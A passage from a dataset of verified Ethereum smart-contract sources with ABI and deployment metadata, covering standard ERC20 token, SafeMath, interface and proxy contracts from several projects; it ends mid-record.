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SaffronLPBalanceToken | contracts/lib/ERC20.sol | 0x96853eadcf9da67d6f7a4b6ad28bdc81a96c2188 | Solidity | pragma solidity ^0.7.1;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool_address","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"set_governance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.7.4+commit.3f05b770 | true | 99,999 | 000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000002353616666726f6e204c502065706f6368203133205320444149207072696e636970616c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007534146462d4c5000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://987173ae06a00aaf418e92fd1f57b81c2c1341970dc2d243d753c1adfa0346ca |
||
SaffronLPBalanceToken | contracts/SaffronLPBalanceToken.sol | 0x96853eadcf9da67d6f7a4b6ad28bdc81a96c2188 | Solidity | pragma solidity ^0.7.1;
contract SaffronLPBalanceToken is ERC20 {
address public pool_address;
constructor (string memory name, string memory symbol) ERC20(name, symbol) {
// Set pool_address to saffron pool that created token
pool_address = msg.sender;
}
// Allow creating new tranche tokens
function mint(address to, uint256 amount) public {
require(msg.sender == pool_address, "must be pool");
_mint(to, amount);
}
function burn(address account, uint256 amount) public {
require(msg.sender == pool_address, "must be pool");
_burn(account, amount);
}
function set_governance(address to) external {
require(msg.sender == pool_address, "must be pool");
pool_address = to;
}
} | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool_address","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"set_governance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.7.4+commit.3f05b770 | true | 99,999 | 000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000002353616666726f6e204c502065706f6368203133205320444149207072696e636970616c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007534146462d4c5000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://987173ae06a00aaf418e92fd1f57b81c2c1341970dc2d243d753c1adfa0346ca |
||
TokenMintERC20Token | contracts\open-zeppelin-contracts\token\ERC20\IERC20.sol | 0x18d28b85dee46db2c60aa92c1392971fef177362 | Solidity | pragma solidity ^0.5.0;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"name","type":"string"},{"name":"symbol","type":"string"},{"name":"decimals","type":"uint8"},{"name":"totalSupply","type":"uint256"},{"name":"feeReceiver","type":"address"},{"name":"tokenOwnerAddress","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.5.0+commit.1d4f565a | false | 200 | 00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000002e87669c308736a040000000000000000000000000000006603cb70464ca51481d4edbb3b927f66f53f4f420000000000000000000000006eca6d64c4146ef43a771a207afe93a9b93609ea000000000000000000000000000000000000000000000000000000000000000b427572676572546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034252470000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://ecca2e71e781ae786e694fe0e6d93d213af6a0d2b35dd9f341359c517abdca1b |
|||
TokenMintERC20Token | contracts\open-zeppelin-contracts\math\SafeMath.sol | 0x18d28b85dee46db2c60aa92c1392971fef177362 | Solidity | pragma solidity ^0.5.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"name","type":"string"},{"name":"symbol","type":"string"},{"name":"decimals","type":"uint8"},{"name":"totalSupply","type":"uint256"},{"name":"feeReceiver","type":"address"},{"name":"tokenOwnerAddress","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.5.0+commit.1d4f565a | false | 200 | 00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000002e87669c308736a040000000000000000000000000000006603cb70464ca51481d4edbb3b927f66f53f4f420000000000000000000000006eca6d64c4146ef43a771a207afe93a9b93609ea000000000000000000000000000000000000000000000000000000000000000b427572676572546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034252470000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://ecca2e71e781ae786e694fe0e6d93d213af6a0d2b35dd9f341359c517abdca1b |
|||
Proxy | Proxy.sol | 0xaa668ff173fd18dcc3d588c5882399718a70c747 | Solidity | pragma solidity ^0.6.12;
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
/**
* @title Proxy
* @notice Basic proxy that delegates all calls to a fixed implementing contract.
* The implementing contract cannot be upgraded.
* @author Julien Niset - <[email protected]>
*/
contract Proxy {
address implementation;
event Received(uint indexed value, address indexed sender, bytes data);
constructor(address _implementation) public {
implementation = _implementation;
}
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let target := sload(0)
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {revert(0, returndatasize())}
default {return (0, returndatasize())}
}
}
receive() external payable {
emit Received(msg.value, msg.sender, msg.data);
}
} | [{"inputs":[{"internalType":"address","name":"_implementation","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"value","type":"uint256"},{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"Received","type":"event"},{"stateMutability":"payable","type":"fallback"},{"stateMutability":"payable","type":"receive"}] | v0.6.12+commit.27d51765 | true | 999 | 000000000000000000000000bc0b5970a01ba7c22104c85a4e2b05e01157638d | Default | GNU GPLv3 | false | ipfs://81653946f6f0f024eb94b19bdaf1d69dc04d346dcb6092fa1369c9e2dacfa421 |
||
VITA | contracts/VITA.sol | 0x81f8f0bb1cb2a06649e51913a151f0e7ef6fa321 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol";
import "./IVITA.sol";
contract VITA is IVITA, ERC20Capped, Ownable {
constructor(
string memory name_,
string memory symbol_,
uint256 cap_
) ERC20(name_, symbol_) ERC20Capped(cap_) {
}
function mint(address account, uint256 amount) public override onlyOwner {
_mint(account, amount);
}
} | [{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"cap_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalTy